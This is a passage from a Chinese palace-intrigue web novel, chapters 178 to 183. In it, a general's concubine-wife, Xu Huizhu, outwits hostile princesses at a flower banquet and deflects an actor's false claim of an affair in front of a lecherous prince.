黑崖忍着怒火,说道,“大皇子殿下可能不了解医术,医者就是医者,不是大街上变戏法的技人。”
黑崖的解释,仍说服不了大皇子李明远。
“本王怀疑姜夜沉以身残取信于父皇,娶亲也是另一种迷惑父皇的手段,假意做忠心的孤臣,实则……”
“姜夜沉手里握着北疆兵权和锦衣卫,又私下同南疆王陈青阳、西疆王上官褐交好,姜夜沉若生出异心,谁能阻挡?”
“父皇魔怔,对姜夜沉偏宠偏信,只怕养虎为患,终有一日疯狗咬主。”
黑崖:这些秘密,是他能听得吗?皇帝是大皇子可背后编排的?
“大皇子殿下,若无事,我先回将军府了。”
大皇子李明远早就有意收归溟山势力,一方面他想要利用溟山的江湖势力行事,另一方面姜夜沉曾在溟山学武,若溟山势力效忠他,是不是说明他征服了姜夜沉?
大皇子李明远放得下身段,尊称黑崖一句“先生”,更允黑崖不必行跪礼,以“我”自称。
“本王向黑崖先生推心置腹,以诚相待,作为回报,黑崖先生日后该为本王谋算,对本王忠心……”
黑崖心知,大皇子李明远还是不信他,坚信自己心中所想。
黑崖取出一只通体晶莹雪白的肉虫,说道,“此乃魂虫,吸一口蛇血,它散发的气味能让男人不能人道的身体短暂逢春,这种假象只能维持一刻钟。”
“我已试验过,姜夜沉的脉搏并无异常,说明姜夜沉那方面机能无力‘死灰复燃’”。
“大皇子殿下若不信,可以寻人来试。”
又说,“我既已投诚大皇子殿下,自然事事考虑您的利益,您大可不必频繁怀疑、试探,更希望您尊重我的巫医术。”
......
丽云夫人住在将军府的紫藤院,管叔将黑崖安排在紫藤院隔壁的云松院。
故意为之。
正合徐慧珠的意。
丽云夫人登门挑衅,那就莫怪徐慧珠弄点小动作“恶心”她。
黑崖后悔了。
男人在陷入情爱之时,心眼还没针尖大,黑崖做不到将心爱女子“拱手相让”于旁的男人。
黑崖暗自庆幸,他醒悟及时。
所以,他改变主意,留在将军府,撕下姜夜沉的伪装,向她证明:平平无奇姜夜沉,配不上她的爱。
徐慧珠觉得自己操着月老的
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心,干着月老的活,凑对黑崖和丽云夫人这对有情人。
好在,黑崖没让徐慧珠失望,每日倾情贡献新鲜八卦。
日子过得还算有趣,直到桑氏回京……
桑氏回京半月后,京城各世家大族收到请柬,丞相府要举办赏花宴。
请柬上盖着桑氏的私章。
桑氏此举,向世人宣告:她桑韵雅——丞相府真正的女主人回来了。
“夫人,钱悠悠亲自登门送请柬。”金夏禀告道。
钱悠悠,丞相府大小姐,已是二十二岁年华,至今亲事未定,拖成老姑娘。
徐慧珠同苗安楠成仇,那么,桑氏及她的一双儿女就是徐慧珠的“朋友”。
在得知桑氏的儿子钱顷暗里是姜夜沉的人之时,徐慧珠随口多问了一句“钱悠悠”,姜夜沉难得称赞一名女子,说钱悠悠称得上奇女子。
“钱悠悠放话,打得过她,就有资格求娶她。”
思绪回转的功夫,金秋将钱悠悠领入主院。
见礼过后,钱悠悠说明来意,“送给徐夫人您的请柬,是阿娘亲手所写。”
“三日后的赏花宴,请徐夫人您得空赴约。”
“阿娘让我先一步向徐夫人您道谢,我们能顺利回京,您和将军在背后出了大力。”
“这份恩情,我们娘三人谨记于心,此生不敢忘。”
钱悠悠,人不如其名。
虽是头一回见面,看得出来,桑氏将一双儿女教导得极好。
只是,以钱悠悠的脾性,并不适合京城这样的地方。
徐慧珠应下。
桑氏有心搭台子唱戏,她自当配合一番。
“钱姑娘受伤了?还是内伤?”因为初见面颇有好感,徐慧珠打算让钱悠悠欠她一个新的人情。
钱悠悠微惊,“您……您怎知我受了内伤?”
她受伤的事情,连阿娘都瞒着。
唯有哥哥知情。
哥哥不可能告诉旁人。
“我师承普神医,若钱姑娘不嫌弃,容我为钱姑娘看诊一二。”
钱悠悠也不矫情,主动伸出胳膊,“有劳徐夫人。”
钱悠悠觉得,母亲说得在理,家丑,有时候也得扬一扬......
第179章:郡主好雅兴,见面打我脸
苗安楠不是最擅长打造好名声?
他们既回到京城,就得让苗安楠声名狼藉,成为京城最好笑的笑话。
也气一气她那糊涂父亲。
若气死,最好不过。
“我们在路上遭遇一伙穷凶极恶的**,意在谋财害命,奇怪的是那伙**明明杀红了眼,却眼瞎瞧不见第一辆马车。”
“**浮于表面的刻意,实在太假,假到三岁稚儿也能一眼看穿。”
钱悠悠目色嘲讽,“父亲前一瞬眼里慌乱又愧疚,下一瞬睁眼说瞎话,否认**并非**,而是苗安楠豢养的死侍。”
“证据戳在父亲眼前,他眼瞎看不见。”
“如若不是哥哥及时赶到,我和阿娘便命丧死侍剑下,活口只余父亲。”
“父亲的确事先未知,但父亲的选择一如既往——抛弃我们。”
“其实,父亲才是伤害我们至深的恶人。”
“苗安楠的恶,不及父亲十分之一。”
“我恨苗安楠,但我更恨父亲。”
“那个男人,不配为夫,不配为父,不配为人。”
钱丞相才能卓越,一旦遇上苗安楠,智商痴傻。
他那样的人,怕是苗安楠要他死,他会扶住她握着**的手刺向自己的心口,在她的怀里,微笑闭眼。
这世间,怎有他这般的男人。
“钱姑娘,你我才第一回见面……”
按说,丞相府的隐秘,钱悠悠不该告诉徐慧珠一个外人。
“徐夫人不必见外。”
“哥哥说,将军曾在危难之时救下他的性命,又将他拉出黑暗泥潭。”
“将军的恩情,大过天。”
钱悠悠满眼真诚,似遇到知音,心中苦闷,一吐为快。
“当年祖父祖母以性命威胁,逼父亲起誓,只要我们离开京城,放弃丞相府的一切,安分待在祖地,苗安楠就不能害我们的性命。”
“但苗安楠那个蛇蝎女人,从来言而无信。”
“哥哥说这些年我们能活命,一半原因是祖父祖母相护,另一半原因是将军给予对抗的资本。”
钱悠悠说完,向徐慧珠行大礼。
“徐夫人,我和哥哥的命,是您和将军的。”
......
丞相府的赏花宴,如约而至。
不管世家大族出于何种目的,来的都是当家夫人和嫡出儿女。
苗安楠当年不顾脸面爬上钱丞相的床榻,自甘为妾,又不安分,勾的钱丞相宠妾灭妻……
其实,那些当家夫人面上恭维苗安楠,心里极为鄙夷。
谁家府上没几个满心思鸠占鹊巢的妾?
待钱悠悠陪着徐慧珠出现在赏花宴之时,气氛转瞬冷滞。
徐慧珠也是妾啊。
苗安楠不在,活该徐慧珠承受大家的鄙夷。
“本郡主当是谁呢?”
“原来是大名鼎鼎的徐夫人啊。”
“真真是活久见!”
“这京城水深,何时混进来一条垃圾鱼,呵!”
这回当出头鸟的是凝华郡主,谨郡王的亲姑姑。
谨郡王在府中自缢,死得并不体面,又被锦衣卫查到**华山王。皇上下旨贬谨郡王为庶名,不得葬入皇陵。
可怜谨郡王死后还没香火供奉,实在凄惨。
可悲谨郡王心甘情愿为太子背锅,却被太子嫌弃。
凝华郡主空有一颗报仇的心,却欺软怕硬。
她恨透荣慧,在见到徐慧珠后,便将对荣慧的恨意转嫁给徐慧珠。
谁让荣慧叫徐慧珠一声“表姐”。
“钱悠悠,你是丞相府的嫡小姐,身份贵重,怎能自甘堕落讨好一个妾?”
“如此规矩,这京城哪家府上的儿郎愿意求娶,本郡主好心好意奉劝一句:远离卑贱之人。”
卑贱之人是谁?
凝华郡主骂的就是徐慧珠。
好一招指桑骂槐。
“桑氏糊涂了不成?她难道忘了当年她带着一双儿女灰溜溜回祖地,就是拜妾室所赐。”
凝华郡主仗着身份和年纪,言语刻薄,一次得罪将军府和丞相府,浑不自知。
“凝华说得在理。”
“早知桑氏操办的赏花宴这般上不得台面,本郡主何故来这一趟。”
“钱悠悠,你还不赶紧请桑氏过来,本郡主倒要当面问桑氏一句,是她下错帖子?还是这赏花宴要闹得不欢而散?”
接话的是凝如郡主,临海王的妹妹。
她和凝华一同长大的情分,命运也是巧合的相似。
两位郡主同一
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年大婚,一个年初,一个年尾。
偏巧,两位郡马同一年病去,一个死于正月,一个死于腊月。
守寡后的两位郡主,又因着共同嗜好,关系越发亲密,来往更是频繁。
也是,两位高贵的郡主连貌美面首都能一起享受,自是同一个鼻孔出气了。
再说,她们同将军府都有仇有怨。
自是一个鼻孔出气,合力针对徐慧珠。
钱悠悠尊崇的人生哲理是——能动手懒得动口。
她通常喜好以武力服人。
可,桑氏在回京路上,一半苦口婆心一半威胁,命钱悠悠少说话少动粗。
“凝如郡主请稍等,我这就去请阿娘。”钱悠悠说话时咬牙切齿,极力忍耐。
钱悠悠想得简单:这种局面她不擅长应付,在场贵人一个个身娇肉贵,又不能揍一顿了事……实在麻烦,还是得阿娘出面。
“慢着。”徐慧珠说道。
“两位郡主好雅兴,头一回见面,就伸手打我的脸。”
“既如此,不必扯上温德夫人。”
“我的脸就在这里,两位郡主,来打啊。嗯?”
托苗安楠的福,徐慧珠遭受一场无妄之灾。
好没道理。
偏偏,这世上,没道理的事情多了去,受委屈的人也多了去。
仔细想一想,没什么稀奇。
自她为妾之始,她就明白一个道理:不论她拥有何等身份,是户部尚书府嫡出大小姐也好,妾行妻权还尊称一句“徐夫人”也罢,在那些所谓贵人的眼里,她就是低贱的妾室。
非她们族类,不能以贵人自居。
“凝华郡主,您刚骂我卑贱?”徐慧珠先向凝华郡主发问。
凡事,讲究先来后到嘛。
“徐氏,算你有自知之明。”凝华郡主倒是震惊于徐慧珠敢应声。
她和凝如郡主整日忙着娇养面首,没空见识徐慧珠的厉害。
闲暇听说几句,也只是顺耳过,没放在心上。
“一个妾,难道不卑不贱吗?”凝如郡主补刀,“徐氏,你该有自知之明。”
“旁人称你一声‘夫人’,还真当自己是夫人了,也不照照铜镜,脸大如盆。”
“少出来丢人现眼。”
“呵!”
第180章:贪恋将军美色的报应
“哦?”
徐慧珠不怒不惧。
“两位尊贵的郡主意欲欺君抗旨?”
“徐氏,你胡说什么?”凝华郡主呵斥道。
“徐氏,小心祸从口出!”凝如郡主威胁道。
众人一头雾水,一时不明这怎么就扯到“欺君抗旨”了?
“回禀两位郡主,我和将军的亲事乃皇上下旨赐婚,皇上亦允我在将军府妾行妻权。前不久,将军为我请得三品夫人的诰命,享皇家县主供奉……”
“还有,皇上也已同意由我协助温德夫人操办无双公子和凝心县主的大婚……”
“两位郡主一看到我,就不分青红皂白辱骂我,堂而皇之欺负我……等于打皇上的脸面,还不是欺君抗旨吗?”
凝华郡主:……
凝如郡主:……
众人:……
还能这般扯?
可,听着听着,好似有一两分道理。
钱悠悠崇拜的眼神快黏在徐慧珠身上,再迟疑一瞬夸赞,就是对榜样的不尊重。
好在这时,桑氏陪着厉贵妃款款而来。
说来,桑氏才是厉贵妃正儿八经的娘家嫂嫂。
见礼过后,厉贵妃感受到怪异的气氛,随口问一句“大家刚刚在说什么有趣的事情?”
当面告状,得抢占先机。
“回禀贵妃娘娘,两位郡主刚刚忙着训斥臣妇,说丞相府赏花宴,妾本低贱,来不得。”
“请贵妃娘娘放心,臣妇已竭尽全力据理辩白。”
凝华郡主和凝如郡主对望一眼,皆疑惑徐慧珠意欲何为?
她们是骂了徐慧珠,骂她是低贱又上不得台面的妾,没资格参加赏花宴。
可,同厉贵妃有什么关系?
徐慧珠让厉贵妃放心什么?
不,不对……
“臣妇相信,两位郡主没骂贵妃娘娘您。”
“只是,两位郡主出身高贵,心里看不起妾室,也情有可原。”
众人:……
原来,在这里等着。
眨眼功夫,徐慧珠挖了好深一个坑。
徐慧珠是妾没错,厉贵妃呢?
身为贵妃的她,说到底也是妾啊。
比徐慧珠尊贵百倍的妾?
“哦?”
果然,厉贵妃脸上的笑容僵硬,明知前方是徐慧珠现挖的深坑,她不得不跳。
“皇上心疼本宫,特许本宫回娘家参加赏花宴,同嫂嫂叙旧情,也为嫂嫂撑面。不成想,本宫这刚到,就遭了骂……”
谁敢骂皇上的女人?
“影响了贵妃娘娘您赏花的兴致,就是臣妇的大罪过了。”
“请贵妃娘娘明鉴,臣妇一片为娘娘之心——真情实意。”
“两位郡主辱骂臣妇,骂的再难听,臣妇听着忍着便是。可,影射贵妃娘娘,万万不行……”
徐慧珠再说下去,凝华郡主和凝如郡主双双气死,厉贵妃得忍着恶心夸赞和赏赐。
好在,皇上有旨。
来的是姜夜沉,后面跟着李生德。
“京城前些日子不太平,光天化日之下竟发生贼子当街强抢良家女的恶事……”
贼子?
姜夜沉只差指名道姓,说“钱宝器”这位品性恶劣的坏种。
登门骂人,不知钱相爷听到姜夜沉骂他的儿子,会不会气到呕血?
“本将军的夫人生得花容月貌,本将军实在忧心,亲自来接夫人归府。”
姜夜沉有必要解释吗?
谁问了?
谁关心?
徐慧珠目色含情,乐意配合姜夜沉演一出深情给大家看。
“有将军在,妾身倍感安心。”
话锋一转。
当面告状。
她的靠山来了,不狠狠告一状,当她傻?
“将军,你再不来,妾身……妾身就被羞辱致死,怕是见不到将军最后一面了。”
“妾身刚入丞相府,还未赏一朵花儿,就莫名被凝华郡主和凝如郡主联手欺负……”
徐慧珠眼里含泪,倔犟地不让泪珠儿落下,她倒是记性极好,将凝华郡主和凝如郡主说过的话,不差一字叙述。
“将军,难道两位郡主也对你生出别样心思?迁怒于我?”
徐慧珠不忘拉上众人一同蹚浑水,“贵妃娘娘和贵人们皆是人证。”
众人:谁乐意给一个妾作证?
可,当着姜夜沉的面,众人就算不上赶着做人证,也不好落井下石。
姜夜沉在皇上随口说两句,要么贬官杖责,要么灭门之祸,姜夜沉这些年在京城,抄的家还少吗?
不不不,太多了,多到一双手数不过来。
想到这
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里,贵夫人心里禁不住打颤。
凝华郡主和凝如郡主面面相觑,徐慧珠这张嘴,是有幸得菩萨开光吗?
徐慧珠就是菜市口扯是非最厉害的那个刁妇。
还真让徐慧珠猜对了几分。
姜夜沉说道,“夫人的话倒是提醒了本将军,当年本将军初回京城,凝华郡主为本将军写过诗,凝如郡主送过本将军亲手绣的荷包。”
“凝华郡主作的诗,语句不通,白白浪费宣纸。”
“凝如郡主绣的荷包,绣技拙劣,白白浪费锦缎。”
敢欺负他的夫人,他若不回敬三四,枉为人夫。
姜夜沉话说出口,等同于啪啪打两位郡主的脸。
“姜-夜-沉!”
“本宫何时为你写过诗?”
“本宫何地送过你荷包?”
“姜夜沉,你莫自以为是!”
不能承认。
绝对不能承认。
“两位郡主出身皇族,身份尊贵,一言一行代表皇族脸面。本将军万万没想到,两位郡主做过的事情,如今连承认的勇气都没有。”
“不过……”
绝色的男子,如**,剧毒伤身伤心伤魂。
姜夜沉就是**园里开得最娇艳的那朵毒花。
“锦衣卫证物司里,保存着凝华郡主写给本将军的烂诗,也保存着凝如郡主送给本将军的丑荷包。”
“若两位郡主想看,本将军命人送来?”
在场大多数人心里戏雷同:姜夜沉有病吧,不管是凝华郡主作的烂诗,还是凝如郡主绣的丑荷包,都不至于进锦衣卫的证物房。
郡主慕色,人之常情,人家一没谋姜夜沉的财,二没害姜夜沉的命。
用得着上纲上线?
姜夜沉心理扭曲吗?
此刻,凝华郡主和凝如郡主悔到肠子青了,这是贪恋美色的报应?
这回,当真比窦娥还冤。
她们早就放弃觊觎姜夜沉的美色,再绝色的男子冷漠如冰,坚硬如石,抱着无趣。
关键是,她们都被凝玉公主私下警告过,凝玉公主说,姜夜沉是她的私有物。
人家是公主,她们惹不起。
谁成想,事情过去那么久远,姜夜沉却揪着不放。
堂堂男儿郎,好意思?
“难怪……”
第181章:太子殿下他大冤啊
徐慧珠一副恍然大悟的模样。
“难怪凝华郡主和凝如郡主欺我辱我,竟是因为她们对将军曾存不轨心思,却求而不得。”
两位郡主双双语塞。
不,更严重。
她们似是突然丧失说话的能力,任由姜夜沉和徐慧珠这对狗男女满嘴脏污,毁她们清誉。
“李大监,你就冷眼旁观他们侮辱皇族?”凝华郡主急中生智寻来帮手。
姜夜沉再得圣宠又如何?她们是郡主,才是同皇上共族的亲人,皇上不会任由旁人损害皇族清誉。
因为,损害的不仅是皇族脸面,更是挑衅皇权。
李生德正偷着乐呵,感叹今儿这趟差事办得有趣,回头就学给皇上听。
皇上应付朝臣,批阅奏章,还得时不时拱火让后宫嫔妃、皇子间内斗……实在身累心疲,李大监为皇上身边的贴心第一人,不得时常找点乐子哄皇上开心。
李生德笑如弥勒佛,给人一种和善的错觉,“这?”
“郡主您折煞老奴了。”
“在诸位贵人面前,老奴身份卑贱,人微言轻,怎敢做贵人的主?”
老东西!
李生德说最软绵的话,却气到人心梗,顺道转移话题,“老奴这就宣读圣旨。”
贵人跪了一地,姜夜沉正欲跪下,李生德着急阻止,“将军且慢。”
“皇上恩恤,将军身子大好之前,见着皇上不必行跪礼。”
若仔细瞧,李生德那张笑成弥勒佛的圆脸,笑容真诚了几许。
跪在地上的贵人们,心情酸涩。
厉贵妃感觉自己咬了一口青柿子,涩的嘴巴张不开。
有一回,皇后娘娘冤枉她以下犯上,罚她在雪地里跪足两个时辰,冻伤入骨,只休养过夜,她向皇后娘娘请安,或见着皇上,还得行跪礼。
如今想来,皇上对她的在意浮于表面,根本未走真心。
难道皇上对姜夜沉存了……见不得人的心思?
厉贵妃脸色不怎么好看,催促道,“李生德,宣读圣旨吧。”
“今日是温德夫人举办的赏花宴,登门为客,还是莫喧宾夺主为好。”
托李生德的福,她们又又又一回见识到皇上对姜夜沉的偏宠。
也许,人的感官会麻木。
明明才入秋的季节,空气微凉,可厉贵妃跪在地上,膝盖如坠冰窟,疼痛入骨。
“贵妃娘娘说得是。”
一道圣旨封赏三人。
皇上亲书“温良贤德”牌匾,赐桑氏。
相府大郎钱顷,入禁卫军,为三品副统领。
相府大小姐钱悠悠,赐名凝珠,封县主。
人,就怕对比。
往往对比之后,伤害性极大,侮辱性更强。
厉贵妃掩下眼里翻滚的惊愕:是时候放弃苗安楠这个合作者?
“恭贺嫂嫂苦尽甘来、得偿所愿。”
厉贵妃的目光落在正同徐慧珠交谈的钱悠悠身上,“嫂嫂既已回京,就常带悠悠入宫……”
又问,“虽说徐氏为妾,身份终归上不得台面,却好命得姜夜沉喜爱,十分抬举。悠悠和徐氏关系亲近些……嫂嫂这步棋走得极妙。”
桑氏忍得辛苦。
自苗安楠入府,她一步忍,步步退,为了一双儿女,她退到祖地。
终于盼着熬着一双儿女长大,得恩人相助,亦拥有自保能力。
她,不愿再忍了。
“嫂嫂?”桑氏语气恭敬却透着疏离。
“贵妃娘娘这一声‘嫂嫂’叫的臣妇惶恐又感动,臣妇不得已离京十多年,还以为贵妃娘娘忘了臣妇呢。”
目光碰撞,此刻若关着府门,厉贵妃的巴掌已呼在桑氏的脸上了。
厉贵妃刚刚动摇的心思,因桑氏的无礼又重新坚定。
她和桑氏这位“嫂嫂”,相克相厌。
“请贵妃娘娘原谅,是臣妇以小人之心度君子之腹了。”
钱悠悠撇嘴,“阿娘您无需自责,您也不是有意误会贵妃娘娘呀。”
“这些年苗夫人派奴才送节礼,**彰显她和贵妃娘娘亲如姐妹,还说贵妃娘娘感叹:可惜苗夫人生不逢时,相爷始终欠苗夫人一场明媒正娶的婚礼。”
桑氏训斥道,“悠悠,不得放肆,贵妃娘娘知书达理,又极重规矩,怎会说那样的话?定是底下奴才乱嚼舌根子。”
厉贵妃心里怒火翻腾,面上还得维持假笑,“嫂嫂说得是,定是有些不长眼的死奴才背后编排主子。”
“本宫身在皇宫,是皇上的
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嫔妃,言行代表皇家体面,怎会说那些不着边际的话……”
皇上这道旨意来得突然,一旨封赏三人,桑氏和她的儿女曾经有多狼狈滚出京城,如今就有多风光高调回京。
她不能和皇上对着干。
于她,于大皇子,无半点好处。
不管怎么说,相府是她的母家,桑氏没道理舍大皇子转投太子。
就算桑氏上赶着巴结,以皇后娘娘和太子多疑的品性,绝不会承桑氏的情。
想到这里,厉贵妃脸上的笑容浓了些,“嫂嫂这些年侍奉父母亲,委实辛苦,本宫自是记着嫂嫂的情。”
“嫂嫂安心,从前嫂嫂受的种种委屈,本宫不知情。”
“日后,谁敢给嫂嫂气受,本宫第一个不答应。”
女子擅长变脸,厉贵妃的变脸术,技艺修炼成熟。
此刻,她选择忘记和苗安楠的惺惺相惜。
她曾欣赏苗安楠,其中原因之一,是苗安楠从妾室成功爬上平妻,攻击得桑氏毫无还手之力。
她在苗安楠的身上看到勃勃生机般的希望,终有一日,她也会成功,入住君后殿,成为这天下最最尊贵无双的女子。
桑氏,是钱相爷明媒正娶的嫡妻,厉贵妃把对皇后娘娘的怨恨,迁怒于桑氏。
应该说,厉贵妃潜意识里憎恨嫡妻。
除非,她成为嫡妻的那一日,她才会以“嫡妻”为荣,鄙夷“妾室”。
身份变换,立场不同。
她没有半分错。
......
朝堂上,东宫派系的官员终于忍耐不住,为太子发声。
礼部一位官员当先锋,“求皇上为太子殿下做主啊。”
“太子殿下他……他大冤啊。”
一石激起千层浪。
太子贵为国之储君,谁能让他蒙冤?还是大冤……
“明明是先太子妃病逝,谣言却诬陷太子殿下殴打先太子妃致死?”
“明明是太子殿下和继太子妃情深所至,谣言却说太子殿下醉酒打了钱氏贵女,不得已许以太子妃之位补偿?”
“外面谣言还说,太子殿下伤了大将军遭受皇上厌弃,罚去皇陵自省。还说……还说皇上为了大将军意欲废太子?”
……
第182章:貌美戏子和空虚贵夫人
勇当先锋的是礼部侍郎何永道,太子的忠实拥护者。
确切地说,何永道维护的是心中的正道。他固执地认为嫡庶天定,既是天定,不可乱了纲常。
何永道身为礼部侍郎,没少参钱相爷,怒怼钱相爷私德有亏,不配为百官之首,恐为安国之祸。
姜夜沉嘴角上扬,与皇上对视一眼,心想:果然有什么样的主子,就喜好用什么样的下属。
如出一辙的“蠢”。
皇上:状告的真好,下回莫告了。
皇上都忍不住黑一把太子。
“回禀皇上,臣意外受伤,与太子殿下无关。”姜夜沉说道。
“皇上,臣猜测,有人针对太子殿下,却有意让臣背黑锅。”
“求皇上明鉴,这锅,臣不背。”
“京城谣言四起,锦衣卫会协同禁卫军严查谣言根源。”
皇上接话,“准!”
何永道大受鼓舞,“皇上,有丧心病狂者散播谣言,污蔑太子殿下的清誉,此等行径,臣怀疑有居心叵测之人勾结他国,动摇我安国根本,损害我安国未来。”
“求皇上明查,一查到底。”
何永道说话时,目光有意无意看向大皇子李明远,只差指名道姓怀疑大皇子李明远和他国勾结,为争夺皇权,不惜做出叛国之事。
这口气,大皇子李明远得忍下,万幸,他早有准备。
祸水东引……
钱悠悠三天两头往将军府跑,很快就传出流言蜚语,说桑氏卖女求荣,还有说钱悠悠不惧姜夜沉身残,为爱撞南墙。
“徐夫人?”钱悠悠刚和金夏过完百招,整个人神清气爽,笑容明媚。
“我可以叫你徐姐姐吗?”
徐慧珠还未同意,钱悠悠嘴巴抹了蜜似的,一口一声“徐姐姐”叫得顺溜。
“徐姐姐,你得了我这个妹妹,不亏的。”
“日后,我和金夏一同保护你。”
隐匿在暗处的橘红:……
她在纠结,要不要稍稍释放一下她存在的气息?
“正好,我也喜欢钱姑娘。”
先是**月,再是徐念念,如今又来钱悠悠,徐慧珠不禁怀疑自己有“招妹妹”的体质。
“徐姐姐,阿娘让我告诉你,小心凝华郡主,那位的心眼,比针尖还小,惯会报复人。”
只是,徐慧珠万万没想到,凝华郡主的报复方式如此清新脱俗。
这一日,徐慧珠邀约“三位妹妹”共聚醉仙戏楼赏戏。
据管事高尚禀报,他费尽心思挖到名角玉娇龙。
玉娇龙在醉仙戏楼登台演出的第一场大戏,一张戏票炒作到百两难求。
只一眼,徐慧珠就失了神。
原来是他?
“徐姐姐,那个戏子看了你好几眼,他该不是想攀附你?”钱悠悠目光敏锐,很快察觉到玉娇龙的异样。
戏子低微,若一朝入了哪位贵人的眼,对戏子来说,无疑飞上枝头变凤凰。
貌美戏子和空虚贵夫人的故事,倒是偶有发生,并不稀罕。
姜夜沉不能人道,给不了徐慧珠床笫情欢,对她来说,长夜漫漫,该多煎熬。
她的身份,她这样的女子,就是戏子想要登的高枝。
“夫人,老登王去了后台。”金夏禀报。
“我带三位妹妹去后台赏一出更精彩绝伦的戏吧。”
有人自甘堕落,不愿活出人样,她何必为他惋惜。
她不是愚善的农夫,若蛇敢咬她一口,她会拧断蛇的脖子,送蛇入地狱。
待徐慧珠一行人走到后台,人未进门,先听到一声惨叫。
“王爷,奴已是徐夫人的人,您苦苦相逼,就不怕得罪将军府吗?”
“哈哈哈……”老登王今日为玉娇龙而来,“美人儿”消失两年,弄得他心痒又不得劲。
他嗜好男色,尤其迷恋戏子。
玉娇龙是老登王猎色人生里的遗憾,越是得不到,馋成执念。
没想到,还有意外惊喜,让他抓住姜夜沉的把柄。
“姜夜沉这个怂包,战场上的英雄,床榻上的狗熊。”
“哈哈哈……苍天真真是公平啊。”
“本王倒是好奇,姜夜沉如何说服自己,容忍徐氏和戏子的**。”
“哈哈哈……太好笑,实在好笑!”
管事高尚吓
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得心惊,他听到了什么?
玉娇龙不仅砸他的饭碗,还要他的命?
玉娇龙曾名动京城,两年前神秘隐身,没人知道他的下落。
十日前,玉娇龙突然找上他,欲重出江湖,他的第一场戏想要在醉仙戏楼唱。
他这是引狼**?
“夫人,奴才……奴才……”管事高尚又惊又怒,他浑身长嘴,也难以解释清楚。
“没事!”
“无需惊慌!”
徐慧珠看向玉娇龙,目色含笑,“玉娇龙,听说你已是我的人?我们之间……有私情?”
玉娇龙似是没想到徐慧珠问的直接,一时愣神,很快又反应过来,“夫人,救奴。”
金夏怒斥,“奴婢只听说过戏子无情,还是头一回见识戏子臭不要脸。”
“玉娇龙,你也不照照铜镜,你哪样比得过将军?我家夫人又不眼瞎,不爱将军?爱你?”
“爱你什么?”
“爱你是一个低贱戏子?爱你生得男儿身却比女子更柔弱矫情?”
“有病吧你!”
老登王老脸一跨。
如此绝色美人儿,散发诱饵的香甜,勾得他心痒难耐,恨不能抢回王府狠狠地疼。
老登王:大胆贱婢,眼瞎才看不见美人儿的美。
“夫人若厌弃了奴,奴不会再烦着缠着夫人,奴的命,奉给夫人。”
玉娇龙不知从哪里变出一支金簪,抵在脖颈处,“夫人,奴今生遇见您,是奴之幸。”
“奴,无怨不悔。”
不愧为戏子,这一出深情的戏,演绎得够深情。
不,徐慧珠听着想吐。
差点儿吐了。
她忍了又忍。
“不要激动!”老登王看不得玉娇龙寻死,他还没品尝到美味,**就真成遗憾。
要死,也得等他玩腻了。
“将军府徐氏见过登王爷。”徐慧珠恭敬行礼。
“登王爷喜欢听玉娇龙唱戏?”
“若登王爷喜欢的紧,愿出一万两银子,我愿割爱。”
“接下来的一个月,玉娇龙就为登王爷您一人唱戏。”
“登王爷意下如何?”
第183章:赐胭脂红
老登王刚要应声,玉娇龙已是满面泪痕,控诉徐慧珠的薄情。
“夫人,您……您当真不要奴了吗?”
“奴知道错了。”
“奴不该痴心妄想,不该相逼夫人,奴再也不敢了,奴愿永远待在小院里,安分地等您来看奴疼奴。”
“夫人,奴离了您,也活不成了。”
吃到自己的瓜,才知这瓜吃着,犯恶心。
徐慧珠被玉娇龙恶心到了。
“玉娇龙,你说得对,我不要你了。”
“所以,我将你一万两卖给登王爷,需记得好生侍奉登王爷,事事以登王爷身心愉悦为先,登王爷定会疼你的。”
“玉娇龙,莫说你虽为戏子,但卖艺不**的假话。”
“委身登王爷,是你天大的福气才是。”
说来,皇族之中,老登王疯的过分,是一条十恶不赦的**。
徐慧珠顺着玉娇龙的话,忍着恶心往下接。
“登王爷,一万两银子,您给银票,玉娇龙就是您的人了。”
玉娇龙还想说话,金夏已出手,夺了他手里的金簪,顺手点了哑穴。
照她的急性子,逗弄玉娇龙无趣,直接杀**事。
一个戏子,吃了熊心豹子胆,嘴皮子一张一合妄想羞辱将军,害夫人的性命?
老登王本就不是什么良善之辈,他自是能一眼看穿玉娇龙和徐慧珠并无**。
至于玉娇龙何故攀咬徐慧珠,老登王懒得关心。
与他何干!
“一万两?”
“徐氏,你倒是敢狮子大开口,若本王不给?”
“你当如何?”
“呵,低贱妾室,对姜夜沉来说,不过玩意儿……”
老登王想到什么,笑的**,“连地都耕不动的废物,哈哈哈。”
一万两银票,对老登王来说,不算作一个事儿。
而且,在老登王认为,以他对玉娇龙想要得逞的心思,值一万两。
但,徐慧珠是个什么东西?一个上不得台面的妾室,哪里有资格和王爷之尊谈条件?
徐慧珠不配!
“我当如何?”
徐慧珠岂会不知老登王心里的想法,贵人也分三六九等,徐慧珠被划分到末等。
“登王爷说笑了。”
“我自然不敢,也无能力将您如何。不过?”
这个时候,她还不抬出姜夜沉这座靠山,算她蠢。
“我只能归府向将军叙述情况,求将军走一趟登王府,要回银子。”
徐慧珠笑魇如花迎上老登王的臭脸,“登王爷不愿一掷万金,自是没错,是玉娇龙福薄缘浅……”
玉娇龙没法出声,只能恨恨瞪向徐慧珠。
他是货物?
任由买卖双方来回砍价,谁顾过他的心意?
他对徐慧珠的恨,一日浓过一日。
“唔唔唔……”玉娇龙宁愿**,也百般不愿委身于老登王。
那就是一个坏到骨子里的老变态。
可,死太可怕,他还不想死。
“来人,摁住徐氏,赐三十胭脂红。”
说来,胭脂红这种惩罚女子的阴损之法,还是老登王首创。
一百人激烈竞争,最后只留下五名,擅长执胭脂红这种刑罚。被施以此刑的女子,脸颊血管裂缝,红如胭脂,口里牙齿碎落……阴毒至极。
比“人面桃花相映红”,更残忍可怕。
老登王一向得意于此。
老登王早就想打姜夜沉的脸,如今也算间接打一回。
“登王爷?”姜夜沉的声音响起,登王爷禁不住身子一抖,又想到自己堂堂皇族,怎能被皇家的一条看门狗震慑。
“登王爷何意?来本将军的醉仙戏楼抢人不说,给不起银子,本将军的夫人身为东家不过说嘴几句,登王爷竟要动用私刑?”
“不如,你我去入宫,请皇上评评理。”
“狗仗人势。”老登王怒道,“姜夜沉,徐氏以下犯上,不尊本王在先,本王小施惩罚在后,一个低贱妾室,本王骂不得罚不得?”
“是何道理?”
老登王本就看不惯姜夜沉,身为臣子,却自以为是到毫无为臣的觉悟,没少得罪皇族。
“登王爷说得极是,您的确没有资格辱骂本将军的夫人,更没有资格赐本将军的夫人胭脂红。”
“若登王爷气难消怒难退,您亲自动手,赏本将军一回胭脂红。”
“听说登王爷心灵手巧,独
